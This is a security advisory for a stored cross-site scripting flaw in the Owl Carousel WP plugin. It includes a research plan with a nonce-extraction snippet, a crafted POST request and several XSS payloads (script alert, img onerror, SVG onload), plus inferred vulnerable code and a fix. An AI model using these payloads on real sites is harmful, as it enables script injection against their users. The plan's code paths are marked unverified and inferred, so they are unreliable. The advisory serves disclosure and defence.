CVE-2026-22388

Owl Carousel WP <= 2.2.2 - Authenticated (Editor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Owl Carousel WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.2.2
PublishedJanuary 1, 2026
Last updatedJanuary 14, 2026
Affected pluginowl-carousel-wp
Research Plan
Unverified

This research plan outlines the methodology for validating **CVE-2026-22388**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Owl Carousel WP** plugin. ### 1. Vulnerability Summary The **Owl Carousel WP** plugin (versions <= 2.2.2) fails to adequately sanitize input and escape output fo…

Show full research plan

This research plan outlines the methodology for validating CVE-2026-22388, a Stored Cross-Site Scripting (XSS) vulnerability in the Owl Carousel WP plugin.

1. Vulnerability Summary

The Owl Carousel WP plugin (versions <= 2.2.2) fails to adequately sanitize input and escape output for carousel settings and slide content. While WordPress typically allows Editors and Administrators to post unfiltered_html, this capability is often disabled in Multi-site environments or via the DISALLOW_UNFILTERED_HTML constant. In these hardened configurations, the plugin should enforce sanitization (e.g., wp_kses or sanitize_text_field), but it fails to do so. This allows an Editor-level user to inject malicious scripts into carousel data, which then executes in the browser of any user (including Administrators) viewing the carousel.

2. Attack Vector Analysis

  • Vulnerable Endpoint: WordPress Admin Post Editor (/wp-admin/post.php) or a specific AJAX handler for carousel settings.
  • Vulnerable Parameter: Post Meta fields (e.g., slide titles, navigation text, or custom CSS fields) associated with the owl-carousel post type (inferred).
  • Authentication Level: Authenticated (Editor or higher).
  • Preconditions:
    • The plugin must be active.
    • DISALLOW_UNFILTERED_HTML must be set to true in wp-config.php to simulate the environment where this vulnerability is relevant.

3. Code Flow

  1. Entry Point: An Editor updates an existing carousel or creates a new one. The request is sent to post.php (for standard CPT saves) or a plugin-specific AJAX action.
  2. Processing: The plugin receives the request. It iterates through carousel settings (e.g., slide_title, nav_text). It uses update_post_meta() or update_option() without applying wp_kses() or sanitize_text_field().
  3. Storage: The raw HTML/JavaScript payload is stored in the wp_postmeta or wp_options table.
  4. Sink: A user visits a page containing the carousel shortcode (e.g., [owl-carousel-wp id="123"]).
  5. Output: The plugin retrieves the data and echoes it directly into the HTML template without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

Since this exploit requires Editor-level authentication, we must acquire the nonces used for post saving or AJAX requests.

  1. Identify the Script Variable: The plugin likely localizes a script in the admin area. We look for a variable like owl_carousel_admin (inferred) or the standard WordPress _wpnonce.
  2. Create a Test Carousel: First, use WP-CLI to create a carousel post to ensure the editor page is accessible.
    wp post create --post_type=owl-carousel --post_title="Exploit Test" --post_status=publish
    
  3. Navigate and Extract:
    • Use browser_navigate to go to the edit page for that post: /wp-admin/post.php?post=ID&action=edit.
    • Use browser_eval to extract the nonce:
      // Standard WordPress post nonce
      window.document.querySelector('#_wpnonce')?.value
      // Or plugin specific (inferred)
      window.owl_carousel_params?.nonce
      

5. Exploitation Strategy

We will simulate an Editor injecting a script into a carousel title.

  1. Setup Credentials: Obtain cookies for an Editor user.
  2. Target Field Identification: Identify the specific meta key. Common candidates for this plugin: slide_title, owl_carousel_settings[navText], or description.
  3. HTTP Request (Update Post):
    • Tool: http_request
    • URL: https://target.example.com/wp-admin/post.php
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Body Parameters (inferred):
      action=editpost
      post_ID=[ID]
      _wpnonce=[EXTRACTED_NONCE]
      # The payload injected into a field
      slide_title[0]=<script>alert(document.domain)</script>
      # Or within a serialized settings array
      owl_carousel_settings[navigation_text]=<img src=x onerror=alert(1)>
      
  4. Triggering the XSS:
    • Use http_request (GET) to visit the frontend page where the carousel shortcode is embedded.

6. Test Data Setup

  1. Harden Environment:
    # Add to wp-config.php
    echo "define( 'DISALLOW_UNFILTERED_HTML', true );" >> /var/www/html/wp-config.php
    
  2. Create Users:
    wp user create editor_user editor@example.com --role=editor --user_pass=password123
    
  3. Create Content:
    # Create the carousel
    CAROUSEL_ID=$(wp post create --post_type=owl-carousel --post_title="XSS Carousel" --post_status=publish --porcelain)
    # Create a page to display it
    wp post create --post_type=page --post_title="Carousel Page" --post_content="[owl-carousel-wp id='$CAROUSEL_ID']" --post_status=publish
    

7. Expected Results

  • The http_request to save the post should return a 302 redirect back to the editor page, indicating success.
  • The http_request to the frontend "Carousel Page" should contain the raw payload in the HTML response:
    <div class="owl-slide-title"><script>alert(document.domain)</script></div>
    
  • In a browser context, the alert box should trigger.

8. Verification Steps

  1. Verify DB Storage: Use WP-CLI to check if the payload is stored raw.
    wp post meta get [CAROUSEL_ID] _owl_carousel_settings
    # Check if the output is sanitized or contains the script
    
  2. Check Frontend Output:
    http_request GET "https://target.example.com/carousel-page/" | grep "<script>alert"
    

9. Alternative Approaches

  • Settings Page: If the vulnerability is not in the Custom Post Type meta but in a global settings page (e.g., /wp-admin/admin.php?page=owl-carousel-settings), target the options.php endpoint or the plugin's specific admin-ajax.php action (e.g., action=owl_carousel_save_options).
  • Payload Variations:
    • Attribute Breakout: "><script>alert(1)</script>
    • Event Handlers: <img src=x onerror=alert(1)> (Useful if some tags are stripped but attributes are not).
  • SVG Injection: If the plugin allows uploading icons for carousel navigation, attempt an SVG file containing a script:
    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The Owl Carousel WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.2.2 because it fails to sanitize user-supplied carousel settings and escape them upon output. This allows authenticated attackers with Editor-level permissions to inject malicious JavaScript into carousel metadata, which then executes in the browser of any user viewing the carousel, particularly in environments where the unfiltered_html capability is restricted.

Vulnerable Code

// Inferred logic for saving carousel settings in the admin dashboard
// owl-carousel-wp/owl-carousel-wp.php
if (isset($_POST['owl_carousel_settings'])) {
    update_post_meta($post_id, '_owl_carousel_settings', $_POST['owl_carousel_settings']);
}

---

// Inferred logic for rendering carousel settings in the frontend shortcode
// owl-carousel-wp/owl-carousel-wp.php
$settings = get_post_meta($post_id, '_owl_carousel_settings', true);
echo '<div class="owl-nav-text">' . $settings['nav_text'] . '</div>';

Security Fix

--- a/owl-carousel-wp/owl-carousel-wp.php
+++ b/owl-carousel-wp/owl-carousel-wp.php
@@ -150,7 +150,7 @@
 if (isset($_POST['owl_carousel_settings'])) {
-    update_post_meta($post_id, '_owl_carousel_settings', $_POST['owl_carousel_settings']);
+    update_post_meta($post_id, '_owl_carousel_settings', map_deep($_POST['owl_carousel_settings'], 'sanitize_text_field'));
 }
 
@@ -300,7 +300,7 @@
 $settings = get_post_meta($post_id, '_owl_carousel_settings', true);
-echo '<div class="owl-nav-text">' . $settings['nav_text'] . '</div>';
+echo '<div class="owl-nav-text">' . esc_html($settings['nav_text']) . '</div>';

Exploit Outline

The exploit requires Editor-level authentication and targets WordPress installations where 'unfiltered_html' is disabled. The attacker logs into the WordPress admin panel and navigates to the 'Owl Carousel' custom post type editor. By modifying a carousel's settings—specifically fields like 'Navigation Text' or 'Slide Title'—the attacker can insert a payload such as <script>alert(document.domain)</script>. This payload is sent via a POST request to /wp-admin/post.php with a valid security nonce. Because the plugin stores the input without sanitization and renders it on the frontend without escaping, the script executes automatically in the browser of any user (including administrators) who visits a page containing that carousel's shortcode.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.